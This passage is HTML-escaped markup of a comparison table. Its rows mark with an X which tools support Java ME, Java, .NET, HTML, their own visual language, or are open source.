border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 13;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Java ME&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 14;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Java&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 15;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;.NET&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 16;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;HTML&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 17;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Own Visual   Language&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 18;"&gt;   &lt;td colspan="10" style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 100.0%;" valign="top" width="100%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;i&gt;&lt;u&gt;Other   Properties&lt;o:p&gt;&lt;/o:p&gt;&lt;/u&gt;&lt;/i&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 19;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Open Source&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr 